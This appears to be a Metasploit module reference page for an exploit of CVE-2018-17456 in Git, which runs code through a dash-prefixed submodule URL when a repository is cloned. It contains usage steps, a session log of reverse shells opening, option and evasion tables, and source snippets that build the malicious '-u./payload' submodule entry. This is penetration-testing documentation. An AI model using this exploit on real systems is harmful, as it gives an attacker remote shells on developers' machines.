Malicious Git HTTP Server For CVE-2018-17456 - Metasploit


This page contains detailed information about how to use the exploit/multi/http/git_submodule_url_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: Malicious Git HTTP Server For CVE-2018-17456
Module: exploit/multi/http/git_submodule_url_exec
Source code: modules/exploits/multi/http/git_submodule_url_exec.rb
Disclosure date: 2018-10-05
Last modification time: 2021-08-09 15:00:51 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2018-17456

This module exploits CVE-2018-17456, which affects Git versions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower. When a submodule url which starts with a dash e.g "-u./payload" is passed as an argument to git clone, the file "payload" inside the repository is executed. This module creates a fake git repository which contains a submodule containing the vulnerability. The vulnerability is triggered when the submodules are initialised (e.g git clone --recurse-submodules URL)

Module Ranking and Traits

Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
  • screen-effects: Module may show something on the screen (Example: a window pops up).

Basic Usage

msf > use exploit/multi/http/git_submodule_url_exec
msf exploit(git_submodule_url_exec) > exploit

Knowledge Base

Description

This module exploits CVE-2018-17456, which affects Git versions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower.

When a submodule url which starts with a dash e.g "-u./payload" is passed as an argument to git clone, the file "payload" inside the repository is executed.

This module creates a fake git repository which contains a submodule containing the vulnerability. The vulnerability is triggered when the submodules are initialised (e.g git clone --recurse-submodules URL)

Vulnerable Application

Git can be installed on a variety of operating systems, however newer versions will contain the patch for this vulnerability.

On OSX it can be installed with the XCode command line tools: xcode-select --install

On Linux it can be installed with apt: sudo apt-get update && sudo apt-get install git

You can check the version with git --version. The fix is included in the following version: 2.7.6, 2.8.6, 2.9.5, 2.10.4, 2.11.3, 2.12.4, 2.13.5, 2.14.1

Verification Steps

Example steps in this format:

  1. Install the application
  2. Start msfconsole
  3. Do: use exploit/multi/http/git_submodule_url_exec
  4. Do: set LHOST [local host]
  5. Do: exploit
  6. Clone the malicious Git URI and its submodules (e.g git clone --recurse-submodules GIT_URL)
  7. You should get a shell

Options

GIT_URI

This is the URI the git repository will be hosted from (defaults to random).

GIT_SUBMODULE

This is the URI of the submodule within the git repository (defaults to random). The url of this submodule, when cloned, will execute the payload.

Scenarios

msf5 > use exploit/multi/http/git_submodule_url_exec
msf5 exploit(multi/http/git_submodule_url_exec) > set LHOST 192.168.0.1
LHOST => 192.168.0.1
msf5 exploit(multi/http/git_submodule_url_exec) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.0.1:4444
msf5 exploit(multi/http/git_submodule_url_exec) > [*] Using URL: http://0.0.0.0:8080/yaDlXuHVnRMMYGQ
[*] Local IP: http://192.168.0.1:8080/yaDlXuHVnRMMYGQ
[*] Server started.
[*] Malicious Git URI is http://192.168.0.1:8080/ogkvs.git
[*] Command shell session 1 opened (192.168.0.1:4444 -> 192.168.0.1:41034) at 2018-10-18 12:41:40 +0000
[*] Command shell session 2 opened (192.168.0.1:4444 -> 192.168.0.1:41036) at 2018-10-18 12:41:41 +0000

On the victim side:

git clone --recurse-submodules http://192.168.0.1:8080/ogkvs.git
Cloning into 'ogkvs'...
Submodule 'lfr:lr' (-u./rDwoZ) registered for path 'lfr:lr'
Cloning into 'lr'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
fatal: clone of '-u./rDwoZ' into submodule path 'ogkvs/lfr:lr' failed
Failed to clone 'lfr:lr'. Retry scheduled
Cloning into 'lr'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
fatal: clone of '-u./rDwoZ' into submodule path 'ogkvs/lfr:lr' failed
Failed to clone 'lfr:lr' a second time, aborting

Go back to menu.

Msfconsole Usage

Here is how the multi/http/git_submodule_url_exec exploit module looks in the msfconsole:

msf6 > use exploit/multi/http/git_submodule_url_exec

[*] Using configured payload cmd/unix/reverse_python
msf6 exploit(multi/http/git_submodule_url_exec) > show info

       Name: Malicious Git HTTP Server For CVE-2018-17456
     Module: exploit/multi/http/git_submodule_url_exec
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-10-05

Provided by:
  timwr

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name           Current Setting  Required  Description
  ----           ---------------  --------  -----------
  GIT_SUBMODULE                   no        The path to use as the malicious git submodule (empty for random)
  GIT_URI                         no        The URI to use as the malicious Git instance (empty for random)
  SRVHOST        0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT        8080             yes       The local port to listen on.
  SSL            false            no        Negotiate SSL for incoming connections
  SSLCert                         no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                         no        The URI to use for this exploit (default is random)

Payload information:

Description:
  This module exploits CVE-2018-17456, which affects Git versions 
  2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower. When a 
  submodule url which starts with a dash e.g "-u./payload" is passed 
  as an argument to git clone, the file "payload" inside the 
  repository is executed. This module creates a fake git repository 
  which contains a submodule containing the vulnerability. The 
  vulnerability is triggered when the submodules are initialised (e.g 
  git clone --recurse-submodules URL)

References:
  https://nvd.nist.gov/vuln/detail/CVE-2018-17456
  https://marc.info/?l=git&m=153875888916397&w=2
  https://gist.github.com/joernchen/38dd6400199a542bc9660ea563dcf2b6
  https://blog.github.com/2018-10-05-git-submodule-vulnerability

Module Options

This is a complete list of options available in the multi/http/git_submodule_url_exec exploit:

msf6 exploit(multi/http/git_submodule_url_exec) > show options

Module options (exploit/multi/http/git_submodule_url_exec):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   GIT_SUBMODULE                   no        The path to use as the malicious git submodule (empty for random)
   GIT_URI                         no        The URI to use as the malicious Git instance (empty for random)
   SRVHOST        0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT        8080             yes       The local port to listen on.
   SSL            false            no        Negotiate SSL for incoming connections
   SSLCert                         no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                         no        The URI to use for this exploit (default is random)

Payload options (cmd/unix/reverse_python):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
   SHELL  /bin/bash        yes       The system shell to use.

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options

Here is a complete list of advanced options supported by the multi/http/git_submodule_url_exec exploit:

msf6 exploit(multi/http/git_submodule_url_exec) > show advanced

Module advanced options (exploit/multi/http/git_submodule_url_exec):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ListenerComm                             no        The specific communication channel to use for this service
   SSLCipher                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false            no        Enable SSL/TLS-level compression
   SendRobots              false            no        Return a robots.txt file if asked for one
   URIHOST                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                  no        Port to use in URI (useful for tunnels)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Payload advanced options (cmd/unix/reverse_python):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the multi/http/git_submodule_url_exec module can exploit:

msf6 exploit(multi/http/git_submodule_url_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/git_submodule_url_exec exploit:

msf6 exploit(multi/http/git_submodule_url_exec) > show payloads

Evasion Options

Here is the full list of possible evasion options supported by the multi/http/git_submodule_url_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/http/git_submodule_url_exec) > show evasion

Module evasion options:

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   HTTP::chunked         false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression     none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding  false            no        Enable folding of HTTP headers
   HTTP::junk_headers    false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache        false            no        Disallow the browser to cache HTTP content
   HTTP::server_name     Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size    0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay       0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

GIT_URI must start with a /

Here is a relevant code snippet related to the "GIT_URI must start with a /" error message:

73:	  end
74:	
75:	  def setup_git
76:	    # URI must start with a /
77:	    unless git_uri && git_uri.start_with?('/')
78:	      fail_with(Failure::BadConfig, 'GIT_URI must start with a /')
79:	    end
80:	
81:	    payload_content = "#!/bin/sh\n#{payload.raw} &"
82:	    payload_file = Rex::Text.rand_text_alpha(4..6)
83:

GIT_SUBMODULE must contain a

Here is a relevant code snippet related to the "GIT_SUBMODULE must contain a" error message:

84:	    submodule_path = datastore['GIT_SUBMODULE']
85:	    if submodule_path.blank?
86:	      submodule_path = Rex::Text.rand_text_alpha(2..6).downcase + ":" + Rex::Text.rand_text_alpha(2..6).downcase
87:	    end
88:	    unless submodule_path.include?":"
89:	      fail_with(Failure::BadConfig, 'GIT_SUBMODULE must contain a :')
90:	    end
91:	
92:	    gitmodules = "[submodule \"#{submodule_path}\"]
93:	path = #{submodule_path}
94:	url = -u./#{payload_file}

Go back to menu.

References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

timwr

Version

This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.